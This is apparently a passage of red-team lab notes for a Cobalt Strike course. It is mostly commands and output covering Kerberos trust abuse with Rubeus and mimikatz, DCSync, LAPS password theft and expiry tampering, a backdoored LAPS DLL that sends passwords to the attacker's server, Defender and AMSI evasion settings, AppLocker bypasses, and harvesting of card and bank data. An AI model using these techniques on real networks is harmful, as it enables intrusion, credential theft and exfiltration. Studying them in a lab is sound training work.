MemberDomain : dev-studio.com
MemberName : S-1-5-21-569305411-121244042-2357301523-1120
MemberDistinguishedName : CN=S-1-5-21-569305411-121244042-2357301523-1120,CN=ForeignSecurityPrincipals,DC=dev-studio,DC=com
beacon> powershell ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1120
DEV\Studio Admins
beacon> powershell Get-DomainGroupMember -Identity "Studio Admins" | select MemberName
MemberName
----------
nlamb
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:nlamb /domain:dev.cyberbotic.io /aes256:a779fa8afa28d66d155d9d7c14d394359c5d29a86b6417cb94269e2e84c4cee4 /nowrap
[*] Action: Ask TGT
[*] Using aes256_cts_hmac_sha1 hash: a779fa8afa28d66d155d9d7c14d394359c5d29a86b6417cb94269e2e84c4cee4
[*] Building AS-REQ (w/ preauth) for: 'dev.cyberbotic.io\nlamb'
[*] Using domain controller: 10.10.122.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFwj[...]MuaW8=
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgs /service:krbtgt/dev-studio.com /domain:dev.cyberbotic.io /dc:dc-2.dev.cyberbotic.io /ticket:doIFwj[...]MuaW8= /nowrap
[*] Action: Ask TGS
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'krbtgt/dev-studio.com'
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFoz[...]NPTQ==
ServiceName : krbtgt/DEV-STUDIO.COM
ServiceRealm : DEV.CYBERBOTIC.IO
UserName : nlamb
UserRealm : DEV.CYBERBOTIC.IO
StartTime : 9/12/2022 11:13:23 AM
EndTime : 9/12/2022 9:11:21 PM
RenewTill : 9/19/2022 11:11:21 AM
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : zfUbwA2B0+aqao7HSvnUgw==
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgs /service:cifs/dc.dev-studio.com /domain:dev-studio.com /dc:dc.dev-studio.com /ticket:doIFoz[...]NPTQ== /nowrap
[*] Action: Ask TGS
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'cifs/dc.dev-studio.com'
[*] Using domain controller: dc.dev-studio.com (10.10.150.10)
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFkD[...]8uY29t
ServiceName : cifs/dc.dev-studio.com
ServiceRealm : DEV-STUDIO.COM
UserName : nlamb
UserRealm : DEV.CYBERBOTIC.IO
StartTime : 9/12/2022 11:16:46 AM
EndTime : 9/12/2022 9:11:21 PM
RenewTill : 9/19/2022 11:11:21 AM
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : V1vCRoRX/9SAFe/ynWQIE9E9DYztP0mk6bg9BRx9Wjk=
beacon> run klist
Current LogonId is 0:0x45bcb0
Cached Tickets: (1)
#0> Client: nlamb @ DEV.CYBERBOTIC.IO
Server: cifs/dc.dev-studio.com @ DEV-STUDIO.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
beacon> ls \\dc.dev-studio.com\c$
Size Type Last Modified Name
---- ---- ------------- ----
dir 08/16/2022 09:15:48 $Recycle.Bin
Forest & Domain Trusts - One Way Outbound
beacon> getuid
[*] You are DEV\bfarmer
beacon> powershell Get-DomainTrust -Domain cyberbotic.io
SourceName : cyberbotic.io
TargetName : msp.org
TrustType : WINDOWS_ACTIVE_DIRECTORY
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(objectCategory=trustedDomain)" --domain cyberbotic.io --attributes distinguishedName,name,flatName,trustDirection
[*] TOTAL NUMBER OF SEARCH RESULTS: 2
[+] distinguishedName : CN=dev.cyberbotic.io,CN=System,DC=cyberbotic,DC=io
[+] name : dev.cyberbotic.io
[+] flatName : DEV
[+] trustDirection : 3
[+] distinguishedName : CN=msp.org,CN=System,DC=cyberbotic,DC=io
[+] name : msp.org
[+] flatName : MSP
[+] trustDirection : 2
beacon> run hostname
dc-1
beacon> getuid
[*] You are NT AUTHORITY\SYSTEM (admin)
beacon> mimikatz lsadump::trust /patch
Domain: MSP.ORG (MSP / S-1-5-21-616357355-3455548143-339820157)
[ In ] CYBERBOTIC.IO -> MSP.ORG
[ Out ] MSP.ORG -> CYBERBOTIC.IO
* 8/16/2022 9:49:17 AM - CLEAR - 93 8e aa 1f 5f 6e 2a cc 51 7d d4 a8 07 f2 f0 2c a3 e0 20 3b 24 32 68 58 0d f8 ad cc
* aes256_hmac 5db44be4317433d5ab1d3dea5925126d295d3e21c9682bca7fef76bc5a878f30
* aes128_hmac 9851d2d80411e6d40122005d1c361579
* rc4_hmac_nt f3fc2312d9d1f80b78e67d55d41ad496
[ In-1] CYBERBOTIC.IO -> MSP.ORG
[Out-1] MSP.ORG -> CYBERBOTIC.IO
* 8/16/2022 9:49:17 AM - CLEAR - 93 8e aa 1f 5f 6e 2a cc 51 7d d4 a8 07 f2 f0 2c a3 e0 20 3b 24 32 68 58 0d f8 ad cc
* aes256_hmac 5db44be4317433d5ab1d3dea5925126d295d3e21c9682bca7fef76bc5a878f30
* aes128_hmac 9851d2d80411e6d40122005d1c361579
* rc4_hmac_nt f3fc2312d9d1f80b78e67d55d41ad496
The second is to use DCSync with the TDO's GUID.
beacon> powershell Get-DomainObject -Identity "CN=msp.org,CN=System,DC=cyberbotic,DC=io" | select objectGuid
objectguid
----------
b93d2e36-48df-46bf-89d5-2fc22c139b43
beacon> mimikatz @lsadump::dcsync /domain:cyberbotic.io /guid:{b93d2e36-48df-46bf-89d5-2fc22c139b43}
[DC] 'cyberbotic.io' will be the domain
[DC] 'dc-1.cyberbotic.io' will be the DC server
[DC] Object with GUID '{b93d2e36-48df-46bf-89d5-2fc22c139b43}'
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : msp.org
** TRUSTED DOMAIN - Antisocial **
Partner : msp.org
[ Out ] MSP.ORG -> CYBERBOTIC.IO
* 8/16/2022 9:49:17 AM - CLEAR - 93 8e aa 1f 5f 6e 2a cc 51 7d d4 a8 07 f2 f0 2c a3 e0 20 3b 24 32 68 58 0d f8 ad cc
* aes256_hmac 5db44be4317433d5ab1d3dea5925126d295d3e21c9682bca7fef76bc5a878f30
* aes128_hmac 9851d2d80411e6d40122005d1c361579
* rc4_hmac_nt f3fc2312d9d1f80b78e67d55d41ad496
[Out-1] MSP.ORG -> CYBERBOTIC.IO
* 8/16/2022 9:49:17 AM - CLEAR - 93 8e aa 1f 5f 6e 2a cc 51 7d d4 a8 07 f2 f0 2c a3 e0 20 3b 24 32 68 58 0d f8 ad cc
* aes256_hmac 5db44be4317433d5ab1d3dea5925126d295d3e21c9682bca7fef76bc5a878f30
* aes128_hmac 9851d2d80411e6d40122005d1c361579
* rc4_hmac_nt f3fc2312d9d1f80b78e67d55d41ad496
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(objectCategory=user)"
[*] TOTAL NUMBER OF SEARCH RESULTS: 11
[...]
[+] cn : CYBER$
[+] cn : STUDIO$
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:CYBER$ /domain:msp.org /rc4:f3fc2312d9d1f80b78e67d55d41ad496 /nowrap
[*] Action: Ask TGT
[*] Using rc4_hmac hash: f3fc2312d9d1f80b78e67d55d41ad496
[*] Building AS-REQ (w/ preauth) for: 'msp.org\CYBER$'
[*] Using domain controller: 10.10.151.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFGD[...]Aub3Jn
ServiceName : krbtgt/msp.org
ServiceRealm : MSP.ORG
UserName : CYBER$
UserRealm : MSP.ORG
StartTime : 9/12/2022 2:03:12 PM
EndTime : 9/13/2022 12:03:12 AM
RenewTill : 9/19/2022 2:03:12 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : Uf2X2f65qJYeHow3kfHG2w==
ASREP (key) : F3FC2312D9D1F80B78E67D55D41AD496
beacon> steal_token 1164
[+] Impersonated NT AUTHORITY\SYSTEM
beacon> run klist
Current LogonId is 0:0x537833
Cached Tickets: (1)
#0> Client: CYBER$ @ MSP.ORG
Server: krbtgt/msp.org @ MSP.ORG
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
beacon> powershell Get-Domain -Domain msp.org
Forest : msp.org
DomainControllers : {ad.msp.org}
Children : {}
DomainMode : Unknown
DomainModeLevel : 7
Parent :
PdcRoleOwner : ad.msp.org
RidRoleOwner : ad.msp.org
InfrastructureRoleOwner : ad.msp.org
Name : msp.org
Local Administrator Password Solution
beacon> run hostname
wkstn-2
beacon> ls C:\Program Files\LAPS\CSE
Size Type Last Modified Name
---- ---- ------------- ----
179kb fil 05/05/2021 07:04:14 AdmPwd.dll
We could also search for GPOs that have "LAPS" or some other descriptive term in the name.
beacon> powershell Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl
usncreated : 25966
displayname : LAPS
gpcmachineextensionnames : [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{D02B1F72-3407-48AE-BA88-E8213C6761F1}][{C6DC5466-785
A-11D2-84D0-00C04FB169F7}{942A8E4F-A261-11D1-A760-00C04FB9603F}][{D76B9641-3288-4F75-942D-08
7DE603E3EA}{D02B1F72-3407-48AE-BA88-E8213C6761F1}]
whenchanged : 8/16/2022 12:39:45 PM
objectclass : {top, container, groupPolicyContainer}
gpcfunctionalityversion : 2
showinadvancedviewonly : True
usnchanged : 26068
dscorepropagationdata : {9/7/2022 1:05:58 PM, 1/1/1601 12:00:00 AM}
name : {2BE4337D-D231-4D23-A029-7B999885E659}
flags : 1
cn : {2BE4337D-D231-4D23-A029-7B999885E659}
gpcfilesyspath : \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}
distinguishedname : CN={2BE4337D-D231-4D23-A029-7B999885E659},CN=Policies,CN=System,DC=dev,DC=cyberbotic,DC=io
whencreated : 8/16/2022 12:20:45 PM
versionnumber : 17
instancetype : 4
objectguid : bbe274cc-6fcc-4e17-8804-bdc0ae952515
objectcategory : CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=cyberbotic,DC=io
As well as computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property).
beacon> powershell Get-DomainComputer | ? { $_."ms-Mcs-AdmPwdExpirationTime" -ne $null } | select dnsHostName
dnshostname
-----------
wkstn-2.dev.cyberbotic.io
web.dev.cyberbotic.io
sql-2.dev.cyberbotic.io
wkstn-1.dev.cyberbotic.io
beacon> ls \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}\Machine
Size Type Last Modified Name
---- ---- ------------- ----
dir 08/16/2022 12:39:19 Applications
dir 09/13/2022 15:38:58 Microsoft
dir 08/16/2022 12:23:37 Preferences
dir 08/16/2022 12:21:04 Scripts
575b fil 08/16/2022 12:22:23 comment.cmtx
920b fil 08/16/2022 12:22:23 Registry.pol
beacon> download \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}\Machine\Registry.pol
[*] started download of \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}\Machine\Registry.pol (920 bytes)
[*] download of Registry.pol is complete
The Parse-PolFile cmdlet from the GPRegistryPolicyParser package can be used to convert this file into human-readable format.
PS C:\Users\Attacker> Parse-PolFile .\Desktop\Registry.pol
KeyName : Software\Policies\Microsoft Services\AdmPwd
ValueName : PasswordComplexity
ValueType : REG_DWORD
ValueLength : 4
ValueData : 3
KeyName : Software\Policies\Microsoft Services\AdmPwd
ValueName : PasswordLength
ValueType : REG_DWORD
ValueLength : 4
ValueData : 14
KeyName : Software\Policies\Microsoft Services\AdmPwd
ValueName : PasswordAgeDays
ValueType : REG_DWORD
ValueLength : 4
ValueData : 30
KeyName : Software\Policies\Microsoft Services\AdmPwd
ValueName : AdminAccountName
ValueType : REG_SZ
ValueLength : 20
ValueData : LapsAdmin
KeyName : Software\Policies\Microsoft Services\AdmPwd
ValueName : AdmPwdEnabled
ValueType : REG_DWORD
ValueLength : 4
ValueData : 1
KeyName : Software\Policies\Microsoft Services\AdmPwd
ValueName : PwdExpirationProtectionEnabled
ValueType : REG_DWORD
ValueLength : 4
ValueData : 0
Password complexity is upper, lower and numbers.
Password length is 14.
Passwords are changed every 30 days.
The LAPS managed account name is LapsAdmin.
Password expiration protection is disabled.
Reading ms-Mcs-AdmPwd
beacon> powershell-import C:\Tools\LAPSToolkit\LAPSToolkit.ps1
beacon> powershell Find-LAPSDelegatedGroups
OrgUnit Delegated Groups
------- ----------------
OU=Workstations,DC=dev,DC=cyberbotic,DC=io DEV\Developers
OU=Servers,DC=dev,DC=cyberbotic,DC=io DEV\Support Engineers
OU=Web Servers,OU=Servers,DC=dev,DC=cyberbotic,DC=io DEV\Support Engineers
OU=SQL Servers,OU=Servers,DC=dev,DC=cyberbotic,DC=io DEV\Support Engineers
To get a computer's password, simply read the attribute.
beacon> getuid
[*] You are DEV\bfarmer
beacon> powershell Get-DomainComputer -Identity wkstn-1 -Properties ms-Mcs-AdmPwd
ms-mcs-admpwd
-------------
1N3FyjJR5L18za
The make_token command is an easy way to leverage it.
beacon> make_token .\LapsAdmin 1N3FyjJR5L18za
[+] Impersonated DEV\bfarmer
beacon> ls \\wkstn-1\c$
[*] Listing: \\wkstn-1\c$\
Size Type Last Modified Name
---- ---- ------------- ----
dir 08/16/2022 08:17:30 $Recycle.Bin
dir 08/15/2022 22:22:31 $WinREAgent
dir 01/27/2022 18:18:49 Documents and Settings
dir 12/07/2019 09:14:52 PerfLogs
dir 08/22/2022 00:15:03 Program Files
Password Expiration Protection
beacon> powershell Get-DomainComputer -Identity wkstn-1 -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
ms-mcs-admpwdexpirationtime ms-mcs-admpwd
--------------------------- -------------
133101494718702551 1N3FyjJR5L18za
Where 133101494718702551 is Thursday, 13 October 2022 15:44:31 GMT.
If we wanted to push the expiry out by 10 years, we can overwrite this value with 136257686710000000. Every computer has delegated access to write to this password field, so we must elevate to SYSTEM on WKSTN-1.
beacon> run hostname
wkstn-1
beacon> getuid
[*] You are NT AUTHORITY\SYSTEM (admin)
beacon> powershell Set-DomainObject -Identity wkstn-1 -Set @{'ms-Mcs-AdmPwdExpirationTime' = '136257686710000000'} -Verbose
Setting 'ms-Mcs-AdmPwdExpirationTime' to '136257686710000000' for object 'WKSTN-1$'
LAPS Backdoors
beacon> ls
[*] Listing: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS\
Size Type Last Modified Name
---- ---- ------------- ----
dir 08/16/2022 13:04:13 en-US
24kb fil 05/05/2021 12:04:14 AdmPwd.PS.dll
5kb fil 04/28/2021 18:56:38 AdmPwd.PS.format.ps1xml
4kb fil 04/28/2021 18:56:38 AdmPwd.PS.psd1
26kb fil 05/05/2021 12:04:14 AdmPwd.Utils.dll
Since PowerShell heavily utilises the .NET Framework, the DLLs here are written in C# which makes them fairly trivial to download, modify and re-upload. Download AdmPwd.PS.dll and AdmPwd.Utils.dll, sync them to your attacking machine and open AdmPwd.PS.dll with dnSpy. Use the Assembly Explorer to drill down into the DLL, namespaces and classes until you find the GetPassword method.
This method calls DirectoryUtils.GetPasswordInfo
which returns a PasswordInfo
object. You can click on the name and dnSpy will take you to the class definition. It contains properties for ComputerName
, DistinguishedName
, Password
and ExpirationTimestamp
. The password is simply the plaintext password that is shown to the admin. Go back to the GetPassword method, right-click somewhere in the main window and select Edit Method. The first thing we need to do is add a new assembly reference, using the little button at the bottom of the edit window.
Use the search box to find and add System.Net
. This code will simply instantiate a new WebClient
and call the DownloadString
method, passing the computer name and password in the URI.
Once the modifications are in place, click the Compile button in the bottom-right of the edit window. Then select File > Save Module to write the changes to disk. Upload the DLL back to the target to overwrite the existing file.
beacon> upload C:\Users\Attacker\Desktop\AdmPwd.PS.dll
One downside to this tactic is that it will break the digital signature of the DLL, but it will not prevent PowerShell from using it.
beacon> powershell Get-AuthenticodeSignature *.dll
Directory: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS
SignerCertificate Status Path
----------------- ------ ----
NotSigned AdmPwd.PS.dll
ABDCA79AF9DD48A0EA702AD45260B3C03093FB4B Valid AdmPwd.Utils.dll
As nlamb on Workstation 1, grab the LAPS password for a computer.
PS C:\Users\nlamb> Get-AdmPwdPassword -ComputerName sql-2 | fl
ComputerName : SQL-2
DistinguishedName : CN=SQL-2,OU=SQL Servers,OU=Servers,DC=dev,DC=cyberbotic,DC=io
Password : VloWch1sc5Hl40
ExpirationTimestamp : 9/17/2022 12:46:28 PM
You should see a corresponding hit in your CS weblog.
09/14 11:49:32 visit (port 80) from: 10.10.122.254
Request: GET /
Response: 404 Not Found
null
= Form Data=
computer = SQL-2
pass = VloWch1sc5Hl40
Tips for Microsoft Defender Antivirus
Use ThreatCheck to check if a payload is being caught by defender.
For the artifact kit, we will want to change the pipe name to something random in the bypass-pipe c file to help bypass defender. After the pipe is changed and any other edits are there, build the artifact file with the build.sh and choose your flags. Also build the resource kit out as well to bypass other files than EXE and DLLs.
Add to profile:
post-ex {
set amsi_disable "true";
set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";
set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
}
Also change the spawnto settings used by psexec using the ak-settings command.
beacon> ak-settings spawnto_x64 C:\Windows\System32\dllhost.exe
[*] Updating the spawnto_x64 process to 'C:\Windows\System32\dllhost.exe'
[*] artifact kit settings:
[*] service = ''
[*] spawnto_x86 = 'C:\Windows\SysWOW64\rundll32.exe'
[*] spawnto_x64 = 'C:\Windows\System32\dllhost.exe'
beacon> ak-settings spawnto_x86 C:\Windows\SysWOW64\dllhost.exe
[*] Updating the spawnto_x86 process to 'C:\Windows\SysWOW64\dllhost.exe'
[*] artifact kit settings:
[*] service = ''
[*] spawnto_x86 = 'C:\Windows\SysWOW64\dllhost.exe'
[*] spawnto_x64 = 'C:\Windows\System32\dllhost.exe'
Application Whitelisting - Policy Enumeration
beacon> powershell Get-DomainGPO -Domain dev-studio.com | ? { $_.DisplayName -like "*AppLocker*" } | select displayname, gpcfilesyspath
displayname gpcfilesyspath
----------- --------------
AppLocker \\dev-studio.com\SysVol\dev-studio.com\Policies\{7E1E1636-1A59-4C35-895B-3AEB1CA8CFC2}
beacon> download \\dev-studio.com\SysVol\dev-studio.com\Policies\{7E1E1636-1A59-4C35-895B-3AEB1CA8CFC2}\Machine\Registry.pol
[*] started download of \\dev-studio.com\SysVol\dev-studio.com\Policies\{7E1E1636-1A59-4C35-895B-3AEB1CA8CFC2}\Machine\Registry.pol (7616 bytes)
[*] download of Registry.pol is complete
There's an example of one of the executable rules, contained in the ValueData field.
KeyName : Software\Policies\Microsoft\Windows\SrpV2\Exe\a61c8b2c-a319-4cd0-9690-d2177cad7b51
ValueName : Value
ValueType : REG_SZ
ValueLength : 700
ValueData : <FilePathRule Id="a61c8b2c-a319-4cd0-9690-d2177cad7b51" Name="(Default Rule) All files located in the
Windows folder" Description="Allows members of the Everyone group to run applications that are located
in the Windows folder." UserOrGroupSid="S-1-1-0" Action="Allow"><Conditions><FilePathCondition
Path="%WINDIR%\*"/></Conditions></FilePathRule>
They're fairly self-explanatory - this rule will allow everybody to run executables that are located within the Windows directory. If on a local machine, you can query the registry at HKLM:Software\Policies\Microsoft\Windows\SrpV2 to obtain the same.
PS C:\Users\Administrator> Get-ChildItem "HKLM:Software\Policies\Microsoft\Windows\SrpV2"
Hive: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2
Name Property
---- --------
Appx EnforcementMode : 1
AllowWindows : 0
Dll AllowWindows : 0
Exe EnforcementMode : 1
AllowWindows : 0
Msi EnforcementMode : 1
AllowWindows : 0
Script EnforcementMode : 1
AllowWindows : 0
PS C:\Users\Administrator> Get-ChildItem "HKLM:Software\Policies\Microsoft\Windows\SrpV2\Exe"
Hive: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe
Name Property
---- --------
921cc481-6e17-4653-8f75-050b80 Value : <FilePathRule Id="921cc481-6e17-4653-8f75-050b80acca20" Name="(Default Rule) All files located in the Program Files folder" Description="Allows
acca20 members of the Everyone group to
run applications that are located in the Program Files folder." UserOrGroupSid="S-1-1-0" Action="Allow"><Conditions><FilePathCondition
Path="%PROGRAMFILES%\*"/></Conditions></FilePathRule>
a61c8b2c-a319-4cd0-9690-d2177c Value : <FilePathRule Id="a61c8b2c-a319-4cd0-9690-d2177cad7b51" Name="(Default Rule) All files located in the Windows folder" Description="Allows members
ad7b51 of the Everyone group to run
applications that are located in the Windows folder." UserOrGroupSid="S-1-1-0" Action="Allow"><Conditions><FilePathCondition
Path="%WINDIR%\*"/></Conditions></FilePathRule>
The Get-ChildItem cmdlet is permitted under CLM.
PS C:\Users\Administrator> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
Application Whitelisting - Writeable Paths
beacon> jump psexec64 dc.dev-studio.com smb
Started service b8f5313 on dc.dev-studio.com
[+] established link to child beacon: 10.10.150.10
If you're on a protected machine as a standard user, there are several directories within C:\Windows that are writeable. One such example is C:\Windows\Tasks. This would allow us to copy an executable into this directory and run it.
beacon> powershell Get-Acl C:\Windows\Tasks | fl
Path : Microsoft.PowerShell.Core\FileSystem::C:\Windows\Tasks
Owner : NT AUTHORITY\SYSTEM
Group : NT AUTHORITY\SYSTEM
Access : CREATOR OWNER Allow 268435456
NT AUTHORITY\Authenticated Users Allow CreateFiles, ReadAndExecute, Synchronize <---
NT AUTHORITY\SYSTEM Allow 268435456
NT AUTHORITY\SYSTEM Allow FullControl
BUILTIN\Administrators Allow 268435456
BUILTIN\Administrators Allow FullControl
Audit :
Sddl : O:SYG:SYD:PAI(A;OICIIO;GA;;;CO)(A;;0x1200ab;;;AU)(A;OICIIO;GA;;;SY)(A;;FA;;;SY)(A;OICIIO;GA;;;BA)(A;;FA;;;BA)
When enumerating the rules, you may also find additional weak rules that system administrators have put in. This is an example of a rule I've genuinely seen in production:
<FilePathCondition Path="*\AppV\*"/>
Application Whitelisting - Beacon DLL
C:\Windows\System32\rundll32.exe http_x64.dll,StartW
As previously mentioned, DLL enforcement is not commonly enabled which allows us to call exported functions from DLLs on disk via rundll32. Beacon's DLL payload exposes several exports including DllMain and StartW. These can be changed in the Artifact Kit under src-main, dllmain.def.
Data Hunting - File Shares
Find-DomainShare in PowerView searches for computer shares on the domain. The -CheckShareAccess parameter only shows that shares the current user has read access to.
beacon> powershell Find-DomainShare -CheckShareAccess
Name Type Remark ComputerName
---- ---- ------ ------------
CertEnroll 0 Active Directory Certificate Services share dc-2.dev.cyberbotic.io
home$ 0 dc-2.dev.cyberbotic.io
NETLOGON 0 Logon server share dc-2.dev.cyberbotic.io
software 0 dc-2.dev.cyberbotic.io
SYSVOL 0 Logon server share dc-2.dev.cyberbotic.io
finance$ 0 fs.dev.cyberbotic.io
Find-InterestingDomainShareFile takes this a step further and searches each share, returning results where the specified strings appear in the path.
beacon> powershell Find-InterestingDomainShareFile -Include *.doc*, *.xls*, *.csv, *.ppt*
Owner : BUILTIN\Administrators
CreationTime : 9/15/2022 4:22:55 PM
Path : \\fs.dev.cyberbotic.io\finance$\export.csv
LastAccessTime : 9/15/2022 4:23:21 PM
LastWriteTime : 9/15/2022 4:22:55 PM
Length : 8076
beacon> powershell gc \\fs.dev.cyberbotic.io\finance$\export.csv | select -first 5
id,first_name,last_name,email,address,postal_code,credit_card
1,Emmery,Sutton,esutton0@blogspot.com,4788 Ronald Regan Drive,,374288148757510
2,Abie,Maffezzoli,amaffezzoli1@dagondesign.com,6897 Butternut Alley,,374288483637400
3,Rosina,Mellows,rmellows2@google.pl,100 Commercial Hill,,374283426936183
4,Glen,Chatwood,gchatwood3@bbc.co.uk,59046 Northview Trail,,374283883423493
Data Hunting - Databases
PowerUpSQL provides various cmdlets designed for data searching and extraction. One such cmdlet is Get-SQLColumnSampleDataThreaded
, which can search one or more instances for databases that contain particular keywords in the column names.
beacon> powershell Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "email,address,credit,card" -SampleSize 5 | select instance, database, column, sample | ft -autosize
Instance Database Column Sample
-------- -------- ------ ------
sql-2.dev.cyberbotic.io,1433 master email ritzhaki0@gov.uk
sql-2.dev.cyberbotic.io,1433 master email ldureden1@angelfire.com
sql-2.dev.cyberbotic.io,1433 master email gfaussett2@quantcast.com
sql-2.dev.cyberbotic.io,1433 master email bcrumb3@cpanel.net
sql-2.dev.cyberbotic.io,1433 master email ldirkin4@123-reg.co.uk
sql-2.dev.cyberbotic.io,1433 master address 5575 8th Plaza
sql-2.dev.cyberbotic.io,1433 master address 759 Schmedeman Avenue
sql-2.dev.cyberbotic.io,1433 master address 077 Menomonie Parkway
sql-2.dev.cyberbotic.io,1433 master address 99 Gerald Street
sql-2.dev.cyberbotic.io,1433 master address 150 Raven Court
sql-2.dev.cyberbotic.io,1433 master credit_card 374288069616869
sql-2.dev.cyberbotic.io,1433 master credit_card 374288681554928
sql-2.dev.cyberbotic.io,1433 master credit_card 374283595554411
sql-2.dev.cyberbotic.io,1433 master credit_card 374283532455854
sql-2.dev.cyberbotic.io,1433 master credit_card 374288154929482
This can only search the instances you have direct access to; it won't traverse any SQL links. To search over the links use Get-SQLQuery.
beacon> powershell Get-SQLQuery -Instance "sql-2.dev.cyberbotic.io,1433" -Query "select * from openquery(""sql-1.cyberbotic.io"", 'select * from information_schema.tables')"
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
------------- ------------ ---------- ----------
master dbo spt_fallback_db BASE TABLE
master dbo spt_fallback_dev BASE TABLE
master dbo spt_fallback_usg BASE TABLE
master dbo employees BASE TABLE
master dbo spt_values VIEW
master dbo spt_monitor BASE TABLE
master dbo MSreplication_options BASE TABLE
Note the "employees" table. Next, list its columns.
beacon> powershell Get-SQLQuery -Instance "sql-2.dev.cyberbotic.io,1433" -Query "select * from openquery(""sql-1.cyberbotic.io"", 'select column_name from master.information_schema.columns where table_name=''employees''')"
column_name
-----------
id
first_name
last_name
gender
address
post_code
sort_code
account_number
Then finally, take a data sample.
beacon> powershell Get-SQLQuery -Instance "sql-2.dev.cyberbotic.io,1433" -Query "select * from openquery(""sql-1.cyberbotic.io"", 'select top 5 first_name,gender,sort_code from master.dbo.employees')"
first_name gender sort_code
---------- ------ ---------
Juliann Female 09-46-87
Rhodie Female 89-74-73
Calypso Female 77-33-04
Burt Male 36-84-98
Gayelord Male 28-16-45
Last updated